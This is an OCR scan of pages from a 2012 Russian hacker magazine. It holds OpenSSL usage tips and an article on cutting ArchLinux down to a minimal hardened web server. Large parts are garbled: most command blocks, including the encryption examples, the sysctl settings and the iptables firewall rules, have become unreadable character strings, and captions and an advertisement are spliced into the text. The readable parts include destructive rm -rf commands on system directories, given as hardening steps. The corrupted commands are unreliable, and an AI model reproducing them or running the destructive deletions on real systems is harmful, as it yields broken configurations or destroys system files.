-time 10 -cipher $с 2>&1 I grep bytes echo

done

Такая команда позволяет измерить скорость установки SSL­соединения с помощью различных алгоритмов шифрования, что

можно использовать, например, для тюнинга SSL-сервера . Если же

SSL-сервера как такового еще нет, его легко эмулировать с помо­

щью самого OpenSSL. На серверной машине запускаем OpenSSL­сервер:

$ openssl s_server -cert mycert.pem -www

На клиентской выполняем следующую команду:

$ openssl s_time -connect myhost:4433 \ -www / -new -ss13

КЛИЕНТСКАЯ СТОРОНА Еще одна интересная команда OpenSSL - это s_client, кото­рая позволяет коннектиться к удаленным SSL-серверам для

их тестирования. Чаще всего я использую зту команду, чтобы

проверить дату выдачи сертификата. Для этого следует про­

сто подключиться к удаленному SSL-серверу, дождаться, пока

на экране появится информация о сертификате, а затем про-

> echo I openssl s client -connect www.google.com:443 2>/dev/null lopenssl х509 -dates -issuer -s ubject -noout notBefore=Oct 26 00:00:00 2011 GMT notAfter=Sep 30 23:59:59 2013 GMT issuer= /C=ZA/O=Thawte Consulting (Pty) Ltd,/CN=Thawte SGC СА subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com > I

Вычленяем нужную информацию из сертификата х509

ХАКЕР 021157/2012 113

Page 116: Xakep 02_2012

UNIXOID евгений 30бнин lexecbit.ruJ

> yes I pV I ssh 12 .. 8МВ В:ВВ:В7 [

zobn i n(Qexecb i t . ru 11 cat > /dev/null ll

131kB/s] [ <=> Тестируем скорость соединения с помощью SSH и ро

гнать его через всё тот же openssl, чтобы вычленить даты . При

использовании одной команды всё это выглядиттак:

$ .. eJ;J19---' ... QР~JJ;;.~1 .. ;;_!:.l;i,.е!1.t ... :.С9rше.~j: .. \ ........................... _ .......•.......... .... ..... www ... gQQgJ.е .•. с9JJ1.;.44.2 .. ~~jQеуjш,йJ ... I ... .l............ . .............................. . .......... QPe.IJ.;;.sJ .. xs.e~_ .. :.Q.<!.t~~ ... :.!J.QQJ,!1; ............ . IJ.Q.t/j.еfQr.(;!".Q!:.t .... 4б ... е.е .. :. е.е..:ее ... 2.еJЭ, ... G1'1I. !J.Q1;.8f1;~г".$J:!Q .. .2е._~.2~5.~. : .2~ .... 4еJ2 ... (jr1Т........ . ................ _ ........................ .

Команду s_client можно также при менять для тестирования сер­вера на уязвимость, заключающуюся в использовании нестойких

алгоритмов шифрования:

$ .. QP.e!1.~.sJ ... ~_cH~JJ1; .... : .c9JJD.e!:.t .. www .• gQQgJ!:! .•. !:9J.11;.#2. \ .......... :.!:Jp.b.er .... ~.QW ..................... _ ....................... _ .. _ .............................................. . ш,J.ш;.с:п!).(ееш~е~е.~.) ............... _.. . ................... _ ........... . н.е2J;ч5Jб.~е],5.f._: .. еr:'гQ.с. .:. :!А.е.z}.41е.: .$$J .. гQ~1;JГJ.еs ;.$.$L.~2_ ............ . §JJ_$.~в.\(.Ея_I:!~JJ...Q.; .~s].-'!2 ... <11еrt .. hi!.о.Qs.h<!.k.е ... fi!Jl.IJ.L~.; .. S'n_ (!.д\: .... C .. :.Q.2J:!.; ..................................................................................................... .

Сервер, не поддерживающий нестойкие алгоритмы шифро­

вания, просто откажется устанавливать соединение, как это

и произошло в случае с сервером Google. Команда s_client также довольно удобна для отладки различных протоколов Iв этом случае она выступает в виде SSL'HOrO Telnet] . Например:

$ ... op.eDssJ ... ~_c;Ij, ~JJ1; ... c.~1;j,\rt1;J~ ... ~m1;p .. :.и'Jf .. \ ........... _ .......................... . ...... :.СQ!1Dе.~1; ... ~m1:р. ,. gП!i!.~J ,.J;Qm;2.$..... . ... _._ ............... .

ШИФРОВАНИЕ О шифровании с помощью OpenSSL не писал только ленивый, поэтому мы остановимся не на самих принципах шифрования,

а на том, как его можно использовать для вспомогательных

задач. Утилита командной строки openssl удобна тем, что она, как и все остальные команды UNIX, может принимать данные на вход и имеет для них стандартный выход. В результате с по-

> openssl speed Doing md2 for 3s оп 1Б size blocks: 275891 md2's in 2.98s Doing md2 for 3s оп Б4 size blocks: 140724 md2's in 3.00s Doing md2 for 3s оп 25Б size blocks: 47083 md2's in 2.97s Doing md2 for 3s оп 1024 size blocks : 12940 md2's in 2 .98s Doing md2 for 3s оп 8192 size blocks : 1Б72 md2's in 2 .99s Doing mdc2 for 3s оп 1Б size blocks: 1482845 mdc2's in 2 .99s Doing mdc2 for 3s оп Б4 size blocks: 39712Б mdc2's in З.00s Doing mdc2 for 3s оп 25Б size blocks : 101018 mdc2's in 2 .99s Doing mdc2 for 3s оп 1024 size blocks: 25292 mdc2's in 2 .99s Doing mdc2 for 3s оп 8192 size blocks: 3177 mdc2's in 3.00s Doing md4 for 3s оп 1Б size blocks: 8539Б41 md4's in 2.99s Doing md4 for 3s оп Б4 size blocks: ББ85195 md4's in 2.99s Doing md4 for Зs оп 25Б size blocks: 4042Б87 md4's in 2.98s Doing md4 for 3s оп 1024 size blocks: 1554888 md4's in 2.99s Doing md4 for Зs оп 8192 size blocks: 232051 md4's in 2 .99s Doing md5 for 3s оп 1Б size blocks : Б28301Б md5's in 2 .98s Doing md5 for 3s оп Б4 size blocks: 48Б3942 md5's in 3.00s Doing md5 for Зs оп 25Б size blocks: 2811Б3Б md5's in 2.99s Doing md5 for Зs оп 1024 size blocks : 104Б145 md5's in 2 .99s Doing md5 for Зs оп 8192 size blocks: 152957 md5 ' s in 2 .99s Doing hmac(md5) for 3s оп 1Б size blocks : I

Тестируем скорость алгоритмов с помощью команды speed

"Io

мощью одной простой команды можно обеспечить, например,

защищенную передачу файла по сети: •

QI!1Рi;I .l;IшJJ9!!1~й$ ... сi!1; .. j~tсjрj;I;; .s.w.Q ... I ... QР.(;!.!1s.~1 .. .\ ....................................... . _ ......... <!.~.S.c.4~.9.c.C.R.c .... :.i! ... c~ .... : .Pi!.s S ... Р.<1S.ЕIJi!РQЛ~ . ..J ... \ ................................. . .._ ...... De1;.ci!t ... -.l .. =p ... !le.l:!.e ...................... _...... ........ . ..... _ .......... . [! Р.~!Jиt'1i!!9.L!шй$ ... !J.е1; C.<!.t ... XQ.c.I. : .!!~!!e . .J ... Q.p.e,ns.~1 .. \ ....................................... . . ......... i!.!:!s. с2.$б.:.!:.RС.:.<1 ... :.Q ... ср.i!.s.;; ... Р.<! ~ S .. :Лi! PQ!J.~ ... ? ... P<!.~S.WQ ............ .

Можно также при менять и различные скрипты, чтобы автомати­

зировать шифрование множества файлов Iпароль в / tmp/passwd] :

$ .. fQГ ... f. i.!1. .~ ... j .Ф .. I ... : f .. И .1&.& . .l ............... . ...... QQе.r:1.~s.1 ... еJ)с ... с;;l.!:!.s. :.2~б.:.J;.R!; ... с s<!.Н .. =J!J ... и .. .l .............. . ....... :.QI,!1; ... $.f •.. е!1.с .... :.Р.<!.~s ... jjJ~.;. f.tшр I.Р<!.~s.WQ ... j ... QQD.e ................ _ ............... .

Для расшифровки отдельно взятых файлов используем следую­

щую команду:

$ ... QР.еJ).s.~J .... Еш.с .... :.g._=.<!.~.s = .f..~р.сJ;.Rс.:яJ1; ... \ ......... . .... :JГJ. .. ф.<1йл. •. еD.с ... :.QI,!1; .. jjJ!:!о.<!mе. .. \ ............. _ ...... .

.......... cP.i!.s.s.J i1e ;jp.<11;.bl.tQjpi\s.s.w.Q ......... _ ........................................... .

Для шифрования целого каталога проще, конечно, воспользо­

ваться такой конструкцией:

$ ... 1;.<!.г. ... с ... К;;I.ыл9.[ ... I .. QР.~J).s;;J . .\ш.с ... :.<!.е~.:2.s.б.:.С-'К .. с.е ... .\. ................. _ .... . . .. ~ .... s!:!.C r .e1; .•. 1;.<I.t:.& IJ.C

ОрепSSL удобно использовать для генерирования паролей:

$ ... QQ!:!.о.;;.S.1._L.<!лQ ... J:!._.:.R.<!Я.б4. Q~Hqt\l~l.e;;y" .................... .

А сгенерировать хеш для записи в /etc/passwd можно так:

# ... QQ~.o.~s.J, .. Р.<!.~.s.W.Q .... :J .. Л!у.сs.(;!!;.г.!!.t.:Q<!.~~ ........... . $1.$WblAl,lbQI...$y.~If.<!§w$.e:!..KB~$.(9)g~1 ТР.е_ ................................. _ ................ _ ... .

Кстати, кодирование в base64 может пригодиться для отправки файлов, если двоичная передача данных не поддерживается :

$ .. .t;:l.r. ... :.!; ... ~.<!.I.aJ!.QcJ ... g.:?:.j,P .... :.9. .. J ... QP.!:!DSSJ .. eD(; .. \ ...... . .......... :.R;;I.~~.R4_. > ... 1;.!:!х.1; =.П!~.s.s.аgе., t х1; . ................... _ ..... _ .. _.. . ........................... .

Возможность генерирования случайных данных можно исполь­

зовать для создания фиктивных МАС-адресов :

$ .. Pp.e.!l.S.~J .. r.<1DQ ... =DеХ .. б..J ... .\. ........ . .. _ ...... ~.eQ ... • .. s/.\( ..... .\ 1L.\1.~ Lf!,; ... si .•. $I.I..' ............ _ ....... _ ... _ n;.~.е .:~б;.f.c:t .: .. $<!. : .~.~ .. . ............... _... . ........................ .

':I§I:I.,(W Когда речь заходит о таких развитых, проверенных временем

и широко при меняемы х инструментах, как OpenSSL и OpenSSH, юниксоиды незамедлительно начинают приводить десятки приме­

ров их использования EI повседневной жизни . Иногда эти примеры

кажутся простыми и обыденными, но иногда просто поражаешься

находчивости разработчиков и пользователей этих программ. :::J:

ХАКЕР 02/157/ 201 2

Page 117: Xakep 02_2012

ОТ&ОРН bl Е ·п родукты�

СО ВСЕГО МИРД*

Мы знаем , где в мире найти самые лучшие продукты .

Вы знаете , что можете найти их рядом , под маркой TASH

Page 118: Xakep 02_2012

SYN/ACK

116

Евгений Зобнин lexecbit. rul

ече ное зание

ДЕЛАЕМ МИНИМАЛИСТИЧНЫЙ LINUХ-ДИСТРИБУТИВ ДЛЯ КОНКРЕТНОГО

СЕРВЕРА

Безопасность и надежность

программной системы

обратно пропорциональны ее

сложности. Но к современным

Liпuх-дистрибутивам эту

формулу применить довольно

проблематично, так как, по

общепринятому мнению, они

безопасны сами по себе. К

сожалению, это не так, но в этой

статье я расскажу и покажу, как

сделать Linux действительно простой и очень'уСТОЙЧИВОЙ к

взломам системой .

-Хорошей практикой БУАет установка утилиты rkhunter, которая сверяет

контрольные

суммы системы,

чтобы выявить факт МОАификации файлов .

Чтобы запутать взломщика, можно

УАалить комаНАЫ

uname и dmesg. переименовать

ядро и внести

соответствующие

изменения в /boot/ grubImenu.lst. то есть « обезличить»

Аистрибутив.

ХАКЕР 02/157/2012

Page 119: Xakep 02_2012

ащиту операционной системы принято строить послойно.

Первый , внешний слой отвечает за взаимодействие ОС

с внешним миром, то есть зтот слой составляют сетевые

сервисы, которые слушают определенные порты и отвечают на

запросы клиентов. К таким сервисам относятся любые демоны,

способные принимать сетевые сообщения, например web- и ftp­сервера, сервер ON5, почтовый сервер и т. д . Защиту этого слоя

обеспечи вают программисты, которые следят за безопасностью

кода , и администратор, своевременно накладывающий заплатки

и правильно конфигурирующий сетевые сервисы . Второй слой,

или рубеж обороны, - зто сама система, которая не должна по ­

зволить взломщику добраться до конфиденциальных данных или

изменить важные системные файлы в случае нарушения границ

первого слоя .

В идеале второму слою защиты нужно уделять не меньше

внимания, чем первому, однако многие сисадмины пренебрегают

этим, предпочитая полагаться на разработчиков дистрибути-

ва , которые якобы уже позаботились о надежной защите с воих

продуктов . Это, конечно же, не так. Современные дистрибутивы - это универсальные операционные системы, рассчитанные на

применение в самых разных областях и на решени е различны х

задач . В них входит множество компонентов, которые создают

потенциальную опасность и при зтом вряд ли когда-нибудь тебе

понадобятся. Многие дистрибутивы по умолчанию включают в

себя средства сборки приложений, различные сетевые и диагно­

стические инструменты, каждый из которых может использовать

взломщик.

Самый верный способ обезопасить сервер в зтой ситуации­

зто самому создать дистрибутив, ориентированный на решение

конкретной задачи и лишенный все х те х компонентов, которые

взломщик может использовать для получения сведений о систе­

ме, повышения с вои х прав или установки бэкдора.

ЧАСТЬ 1. ПОСТАНОВКА ЗАДАЧИ Итак, мы решили сделать свой профильный дистрибутив. Пре­

жде всего мы должны определиться с функциями, которые будет

выполнять ос. Здесь можно придумать массу вариантов, но я

предлагаю остановиться на самом ра с пространенном: дистрибу­

тив для web-сервера. Наш будущий дистрибутив будет отвечать за хостинг web-сайтов, причем не статических, а написанных с

использованием фреймварка Ojango. Почему не PHP+Ojoomla/ Orupal? Да потому, что я их не люблю!

Таким образом, в дистрибутив должны входить как минимум

пять сервиса в:

1. Сам web-сервер [к черту Apache, nginx - наше все) . 2. Дистрибутив Python, который будет отвечать за работу Ojango. 3. Ojango, на котором будут написаны саЙты .

4. Postgre5QL, которая будетхранитьданные .

5. 55Н для удаленного управления.

Загрузка ArchLinux

ХАКЕР 02/157/2012

Лечебное обрезание

МНОГИЕ ДИСТРИБУТИВЫ ПО

УМОЛЧАНИЮ ВКЛЮЧАЮТ

В СЕБЯ СРЕДСТВА СБОРКИ

ПРИЛОЖЕНИЙ, РАЗЛИЧНЫЕ ИНСТРУМЕНТЫ, КАЖДЫЙ ИЗ КОТОРЫХ МОЖЕТ

ИСПОЛЬЗОВАТЬ ВЗЛОМЩИК

Все остальные компоненты типичного сервера, такие как

FТP-cep Bep, sendmail, и прочую шелуху можно выкинуть. Чем меньше в системе лишних се рвисов , тем меньше шансов у взлом­

щика .

ЧАСТЬ 2. ПОДГОТОВКА КАРКАСА Существует множестВо способов собрать собственный дистрибу­

тив в домашних условиях, но все они требуют времени и терпе­

ния. Мы поступим проще: возьмем обычный Liпuх-дистрибутив

и вырежем из него все лишнее. На роль подопытного хорошо

п одойдет ArchLinux, один из самых просты х и легких дистрибу­

тивов [ты, конечно, можешь выбрать что-нибудь другое вроде 51ackware или Gentoo, но сути зто не поменяет).

Получить базовую версию ArchLinux можно, например, с сервера Yandex [прямой линк на х86_64-сборку: http://goo.gl/EZRtQ ). По -сле за грузки 150-0браз следует скормить виртуальной машине и

установить дистрибутив на виртуальный жесткий диск. Проблем

во время установки возникнуть не должно : запускаем инсталлятор

командой /arch/setup, выбираем «5elect 50urce», жмем <Enter>, вы­бираем « Ргераге hard drive[s» >, в ответ на все вопросы жмем <Enter>, в последнем окне выбираем ФС ext2. Далее «5elect Packages», <Enter> в ответ на все вопросы . Затем выбираем «Configure system», жмем <Enter>, в следующем окне выбираем Оопе. Выбираем «Install bootloader», выходим из редактора, а когда получаем предложение изменить /boot/grub.conf, жмем <Enter> и, наконец, «Exit install». Перезагружаем машину [не забываем отключить 150-0браз) .

После установки системы и за грузки виртуальной машины заходим в систему под учетной записью гоо! [пустой пароль) и начинаем разбираться с содержимым системы. Прежде всего не­

обходимо об новить все ее пакеты . Но сначала следует настроить сеть. Нормальные виртуалки имеют встроенный ОНСР-сервер,

поэтому обычно достаточно только запустить ОНСР-клиент:

Главное окно инсталлятора

, !t"!lt;;4Ч9 э Set cloc. 4 rl"ep.re Jaar4 ... lveCa) 5 se lect '.с .... е. Ь 1 •• t.1I .. с .... еа 7 Со'" I .. re .".tn в In.t.1I lюatl0А4еr 9 Exlt 1 •• UIl

117

Page 120: Xakep 02_2012

SYN\ACK

# dhcpcd eth8

Теперь, чтобы указать менеджеру Растап на нужный репози­

торий, добавляем в файл /etc/pacman.d/mirrorlist две строки:

~erver = ftp://mirror .. yandex.rujarchlinux/$repojos/$arch Server = http://mirrQ.r .. yandex. ru/archlinux/$repo/ os/$arch

и запускаем процесс обновления:

# расmап -Syu

Возможно, при первом запуске обновится только сам Растап.

В этом случае следует выполнить команду второй раз. Далее

устанавливаем необходимые для функционирования сер­

вера компоненты. В моем случае это пgiпх, Python, Django и PostgreSQL:

# расmап -S nginx python2 django

Запоминаем, какие зависимости были установлены в про­

цессе (чтобы ненароком не удалить их на следующем этапе ковыряния). У меня получилось всего четыре зависимости: libffi, postgresql-libs, libxml2 и sqlite3, но ее как раз можно удалить, поскольку есть Постгрес. Делаем снимок состояния диска вирту­

альной машины (это очень важно) . При необходимости выключа­

ем ВМ, делаем снимок и снова включаем.

Теперь мы должны удалить все лишние пакеты. Для начала

выясним, что вообще сейчас установлено:

# расmап -Qs

Список не такой уж и длинный, но больше половины из всего

вышеперечисленного нам точно не нужно. Во-первых, мы долж­

ны избавиться от инструментов сборки. По умолчанию в Арче нет

GCC, но зато есть пакет binutils, который содержит линковщик, архиватор статических библиотек и другие инструменты:

# расmап -R binutiLs

Далее удалим ненужные пакеты, например документацию и

mап-страницы:

# расmап -R licenses .groff man-db man-pages texinfo

Избавимся также от инструментов управления различными

файловыми системами и настройки RАID-массивов. Те из них,

которые могут быть нужны на сервере, оставим на месте:

ХАКЕРЫ ОЧЕНЬ

ЛЮБЯТ ИСПОЛЬЗОВАТЬ

РАЗЛИЧНЫЕ УТИЛИТЫ

ДЛЯ МАНИПУЛИРОВАНИЯ

РАСШИРЕННЫМИ АТРИБУТАМИ

ФАЙЛОВОЙ СИСТЕМЫ, ПРАВАМИ ACL И Т.П.

118

Use tlle U ••• 4 JOIIII .r ....... to ..... I,.te RDUS. Use ТАВ to _l tch lletweeo ... tt08S .04 IllТEB to select.

, ..." art t oll.r lues 3 "" .... Н" Co .... I ........ lock 4e .. lces. rlles"ste_ .n4 "01l1tpolots 1 Во11мс" 1.8t С11е_Ц. с ...... еа ("001 40n't "ее4 to 40 thls) 5 Вetllr. to ""1 ......

в окне, предлагающем варианты разбивки диска, следует выбрать весь диск

# расmап -R cryptsetup device-mapper lvm2 mdadm \ xfsprogs jfsutils reiserfsprogs

Далее можно избавиться от неиспользуемых инструментов

управления сетью и связанных с ними библиотек и зависимостей:

# расmап -R iputils keyutils krb5 heirloom-mailx ррр \ wget dbus-core wpa_supplicant libpcap libnl libldap

Различные утилиты для управления USВ-оборудованием, PCI­и РСМСIА-устройствами на сервере нам тоже не нужны:

# расmап -R usbutils pcmciautils sysfsutils

Также можно избавиться от некоторых оставшихся библиотек :

# расmап -R libpipeline libsasl libgcrypt libgpg-error

На этом процесс подготовки закончен , и мы можем перехо­

дить к основной задаче.

ЧАСТЬ 3. РЕЖЕМ ВСЕ. ЧТО УШЛО из-под НОЖА Мы удалили только малую часть того, что не потребуется на

сервере, однако другие пакеты и зависимости дистрибутива

также содержат множество ненужных библиотек и утилит. Сей­

час мы пройдемся по системе и попробуем избавиться от всего

лишнего .

А лишнего много. Например, ArchLinux не разделяет пакеты на -dev и бинарные, поэтому каталог /usr/include содержит в себе множество совершенно бесполезных и даже опасных заголовоч­

ных файлов. Избавимся от ни х с помощью следующей простой

команды :

# rm -rf jusr/include

По той же причине каталог /usr/lib содержит большое коли­чество статических библиотек, которые не нужны для работы

системы, но могут быть использованы для сборки софта. Удаляем

их:

# rm /usr/lib/*.a

В каталогах /Ып, /sbin , /usr/bin, /usr/sbin имеется множество утилит и команд, которые были установлены как часть других па­

кетов, но сами по себе могут нанести вред серверу. В качестве при­

мера можно привести различные утилиты для манипулирования

файловой системой и таблицей разделов, утилиты для управления

расширенными атрибутами файлов, создания пакетов и т. д. На

работающем настроенном сервере пользы от них не так много .

ХАКЕР 02/1 57/2012

Page 121: Xakep 02_2012

Для начала избавимся от низкуровневых утилит управления

файловой системой:

# rm /sbin/{badblocks,debugfs,dumpe2fs,e2image,e21abel, ~

e2undo,resize2fs,tune2fs}

Теперь удалим инструменты управления таблицей разделов.

Вряд ли взломщик будет их использовать, но чем черт не шутит :

# rm /sbin/{fdisk,cfdisk,sfdisk}

Также можно избавиться от утилит для создания файловых

систем и swар-разделов:

# rm /sbin/mkfs.* # rm /sbin/mkswap

Заодно удалим dd и in5tall :

# rm /bin/{dd,install}

Теперь самое важное. Хакеры очень любят использовать раз­

личные утилиты для манипулирования расширенными атрибу­

тами файловой системы, правами ACL, файловыми capabilitie5 для защиты своих файлов от удаления/модификации или для де­легирования приложениям расширенных прав доступа. Многие

админы могут даже не знать обо всех этих методах, поэтому они

пользуются особой популярностью . К счастью, мы можем защи­

тить себя от подобных махинаций, просто удалив такие утилиты

(вообще-то, они распространяются в отдельных пакетах, но кро­

ме самих утилит эти пакеты включают в себя еще и библиотеки,

необходимые для работы других нужных нам софтинl. Итак, избавляемся от утилит управления мандатными права­

ми доступа (пакет acll:

# rm /usr/bin/{chacl,getfacl,setfacl}

Далее удаляем утилиты для манипулирования расширенными

атрибутами файлов (пакет attrl:

# rm /usr/bin/{chattr,lsattr,getfattr,setfattr}

И конечно же, утилиты управления capabIities (пакет libcapl:

# rm jusr/sbinj{getcap,se.tc;lp}

Также отправим в /dev/null утилиту для изменения контекста безопасности:

Список зависимых библиотек можно получить с помощью Idd

ХАКЕР 02/157/2012

Лечебное обрезание

# rm Jusr/sbinfcJlCQn

На этом можно было бы остановиться, но Арч по умолчанию содержит набор инструментов cracklib, который необходим для некоторых (весьма полезных, кстатиl модулей РАМ, но при этом может быть использован для взлома паролей. Его, естествен н о,

лучше удалить:

# rm /usr/sbinj~racklib* # rm -rf /usrjshare/{cracklib,dict}

В завершение удаляем менеджер пакетов. Да-да, все что

нужно мы уже установили, а для обновления дистрибутива будем

использовать метод, приведенный в конце статьи .

# rm /usrlЬiп/р~сщап* # rm /usrjbin/m<!kep)<g # rm /еtс/расm<!л*

# rm -rf /var / C<ic.iJe/pacman

Ну и подчистим разные ненужности. Например, удалим фай­лы, требующиеся для сборки образа initrd:

# rm -rf /lib/init~piQ

Уберем из системы ненужные каталоги:

# rm -rf /media /opt /usr/local

Удалим ядро с отладочной информацией (вместе с каталогом /U5r/5rcl:

# rm -rf /usrjsrc~

Теперь, когда мы изба вились от лишнего софта, можно

пройтись по каталогам /Iib /U5r/lib и удалить неиспользуемые библиотеки (вряд ли их будет много, но лучше сделать этоl. Спи­сок нужных библиотек можно получить с помощью следующей команды:

# find Ibin jsbj.n jusr/bin /usr/sbin 1 \

xargs ldd 1 EreR '\.so' 1\ cut -d' 'cf. .. JJsed 's/Л[ \tJ*//'J\ .......... _ ...... _ ... . sort 1 uniq ..

Его можно сохранить в файле и с помощью команды diff срав­нить с выводом команды «15 -1 /Iib /u5r/lib». Все не совпадающие библиотеки можно смело удалять.

Устанавливаем нужный софт

119

Page 122: Xakep 02_2012

SYN\ACK

ЧАСТЬ 4. НАСТРАИВАЕМ СЕРВЕР Теперь у нас есть система, очищенная от хлама, но к работе она

пока не готова . Сейчас мы должны настроить сервер, то есть

nginx, Постгре с, Django и другие компоненты. Как это сделать, я рассказывать не буду, все уже описано до меня. Скажу только,

что корнем веб-сервера и Djапgо-проектов следует сделать

какой-нибудь каталог в корне файловой системы, например

/www [в нем можно создать два каталога: http - статика и django - скрипты!. Это необходимо для того, чтобы в дальней­шем со строгими ограничениями смонтировать для каталога

отдельный раздел.

Чтобы все работало, выполним базовую настройку системы

и добавим в автозагрузку nginx и остальные демоны. ArchLinu x не делает это автоматически, позтому придется править /etc/ гс.соп! :

IСИ",я . х9.!;Та ....................... . H.Q:iJN.I\r1~.=. ".e.~ampJe. .•. !;.Qm.:· ....

#. .. НаСТР9Я!S.а ... С~.I.е.!I.Q[.Q ... ~.НI.Е'!РtI>е.Яса.... .. ..................... . j,D.);~. r:,fi!.c.e..::~J.b!') ..................................................................................... .. ;cHj.Qr.E'!:; ~'".1 .•. 2 .•. J .. ~ ....................................................................................................... . n.е.);J!щ~~=.2.:i.~ .•. z55 .).~5 .•. f) ............. . br.Qag.<::.a ~.);.::1.,,2,. 3 .:'1, ................. ... .................... . .................... .

ga);e.wa}'::J •. 2 .•. J .A ............................................. .

!t .. Jа.[]У.!; .К.а.е.МJ>!~ .. ЛР.Iot ... П.<J.lпе. ... СЖЛ~М.Ь! .. .д.Е'!М9.НJ>! ................................ . RА~r1Q~:i=.(!!~К:)..Q.<::.k ... ~У.~J9Е.:пg.л.Е'!J\i.Qг.~ ... с.r:Q[Н:1 ... РQ~.t.r~.~!1), .. ngim,,) ..

Для индивидуального запуска/остановки демонов можно ис­пользовать скрипты каталога /etc/rc.d, например:

# .. /et.c:f.r.!; .•. g/ngj,.IJ.~ .. r.e.~Jpr::t ..................................................................... ..

Далее мы должны предпринять некоторые меры по обеспече­

нию внешней безопасности сервера. Статья, конечно, не об этом,

но о базовой настройке рассказать все же стоит. Во-первых ,

установим пароль для рута:

It .. pa.~. ~.wg ................................... .

Во-вторых, заведем непривилегированного пользователя:

# ... Y.~ e.r.a.gg ... ya.~.Y.a ................................................................................... ..

В-третьих, отключим гооt-логин по SSH:

# ... ~.!; .h.9 .... :1'~г:mН.RQR,t.~.Qgj,D .ЛQ. ' .... ~ .. .I~t.С/.~~.0/~.~.h.Q_cQQjjg ........ . # .. .f.E'!t.c:f.r: .<::.,.J:1.f.~. ~.hg ... L.e.~.t.ar1; .......... . .............................. .

Теперь отредактируем sysctl.con!, чтобы применить несколько классических техник защиты:

# .... ОТ!S@'!<J.е.~ ... ф9РВ.ар.ill1. !:I.r. .. лаJ~е..I.Q !I.... ....................... .. .................... .. Iщt .• J P.\!~.·.Jp_f.QL.w.<J.r:.(J .... :: ... e ......................................................................... _ .. # ... В.!S!.I.[О·:lаеМ .... В.е.Р~tI>и.!Sа.~Iot.!! ... М.<J.РщРJlТа .. ,n<!Кет.а ..................................... .. O~.t .• j,.P.\!~ .• c:9.of.,.Qe.,fa.YJ.t .• .rp_Hte..r. ... '" .. 1 ............................... .. D.е.:t.j. р\!~,.с.Qлf. •. gЕ'!.fi!IJJ:t .• ац .. еРt_~.Q.уr:сеJ.Q.уt~ .= .. е .. # ... У..ме.!:I .t;>.UJа.е.~ ... к.9J!И.'!~С:Т!lQ .. ЛQ!lТ9.Р.!:I.bI~ .. пере.Дi!.'! .. 5.УNf!.(:IC, ...... _ ш~.t .• Jр\!~ .•. ,tс:.Р._~ул<J. с:.k_г:j!,tL;i.е.~ ... :: ... 2 ............................... .. # ... QI.к.J)НJ'!.а~.М ... Р.Е'!J!.~.р.е.IS.I!>!....... .......................... .. .................... . Q~.t ,iру~ .... сQо,f ., аJJ. •. а.<:: .. с.е.Р.1;_r~.c;J .. iлс:t:; . = .. е ........... . D.e.:t .• i р.\!4., .. С.Rпf.,.а.11, .. ~.е..с:цге.Jе.(Ji.r.е..с:t.~ . :: ... е .. . # ... ~.[!:IRРиРУ.еМ ... Цlир.!J.к.R.!I~.щ;П.Е'!д.,Н.blе. ... РJN~.:.".а!JP9.CI1l ........................ .. Q~.t .• JR\!~ ,Jc:.mp3.c.h9_;i.g)1RL.e_!KR.a!:1.ci;1.~ .t~ ... :: ... 1 ............ .. ................. .. It .. З!!щи,а .. 9.I ... :i'т'N~.ф.лу.A.i;l....... ... ....... . .. ................ .. Q.E'!t .• i .R\!.4 .• t.C.P_~Y!J c.9.Q.~J.e.~ .. = ... 1 ........... ..

120

Настроим брандмауэр так, чтобы открытыми оставались толь­ко порты 22 и 80 [SSH и НТТР!:

1t ... (:Т!!!:I.д.<J.Р.тН.а!! ... D.R!.I.!Пи.к.i! ........................................................................... . j,.Р.t.,Ii;>JЕ'!.~ .... :l' ... INР.I,II . RJш.Р.......... .. ................... .. ........ _ ...... .. j, p,t.a Ь :).J~.~ ... :А .. JNР.uJ ... :.i .. 1R ... сj ... I\~ц.P.J ..... ............ . 1t .. J:lеб.RJ!!?UJа.!! ... ".а.!!l~Та ... QI ... .QR.5. ..................... . j,.Qt.i;I Ь). E'!.~ ... cA .. JNJ'!JJ ... с R .. ,tc:.P ... : m ... t .C.P ... : .. -.t.<::.Р.с.f!.i;I.g~. .~

........ $.'(N.,Ас;К,.ЕI,N,я.$.I .. я.5.I ... : .m .JJm.Н .... :.: Jj,mit .. J/ s - j .f!.(:.Cf.PT 1t ... Р.~эРе.ш.<lе..М .. J1)!(е.. У..r;.I.<I .I:I.Q .В.лЕ'!. !iJ:!~.е ... r;.9.~д~J:!е.t!!1.!! ...... . ;i,p.t .i;lble.!; .. ~iI, .. JHP.U.I ... : P .... i;lJJ ... c.m. .. ~.t.<lte. .. с. - st<!t.e. ... \

.... R Е:~ . .l\П.Q>.~.:iIМ! ~.I$ш.R .... : j ... I\~ч.Р.I ........................ . # .. Н.ащ.М . .!1QPT~ .......................................................................... . j,p,tabJg~ ... :.A .. J.NP.\.II ... :.i ... ~.tM ... :R .. ,tc:.P ... : :.cJP9.r:t ... ,22,. cj.l\~.(:E.PJ

i.рt.,фlеs .. :.I\. . .INPUJ .... :J .. gtbl;l ... : P .. tr;.P ... :. ~ QРQг.t ... а.е ... -j .. .АСцРТ ..

1t .. .Р.а.зР.еw<l.е.М ... !:I.е.I(QТ:QР~.е. .. д.r1Р. : r;..Q.о .. q.l!lени.!1 ............... . j,Рtар.~!i!.~ ... ~.I\ .. JNР.!П ... ~J ... gtЬ~ ... :.Р .. ;i.сmR ... ~m .. Jс:.mр ... \ .... .. .. ... :.:.i.сmR:,tу.р~ ... 3 .... -.j .. .iК~JР.Т ........................ .. i.R!:.,фJ.еs ... : . .l\ .. JNР.I.!Т .... :J ... е.:t!! .е .. :.p ... i.r;.mp ... clJ1 .J .<::.mR .. \ ...................... . ..... :.с.i.сm.р:,tУ.р.е. ... ц ... : j ... AC.~.Ei>J. . .................. . . j,P.ti!P. !е:; .... :.А .. J.NРJП ... :,! ... е..t!!.е ... : P .. Jc:.IJ1P .... :m .. .i.~.mP ... \ .

...:.:i.r;.mp.::.tJlP.e. .. J2. ... :.j,.ACc.~PT ........................................... .

и последняя, но очень важная настройка: запрет на выполне­

ние системных действий после окончания загрузки дистрибутива.

# ... е.. с Ь О .. .' .е. <::.09 .. $.cce1(fH.ff.f.f.f ... ~ .. .(J .. ~.~ . ]. б)) ) .... ~ .. \ .. .. .... .I.РгR.с/я.~l!<.еLQе..lLч.Р.сJ~'О!Jл!:1. ·_ .. ~ ?J.е.1; .<::.I.r.c: .• .1,.щ а 1 .... _ .......... . 1t: ... е.сhR .. · .е. .фQ. $_сс ~.~ff.f.f.ffff .... л ... Н .. 5.~ .. ]J! »)) ... ~ ... \ ................... ..

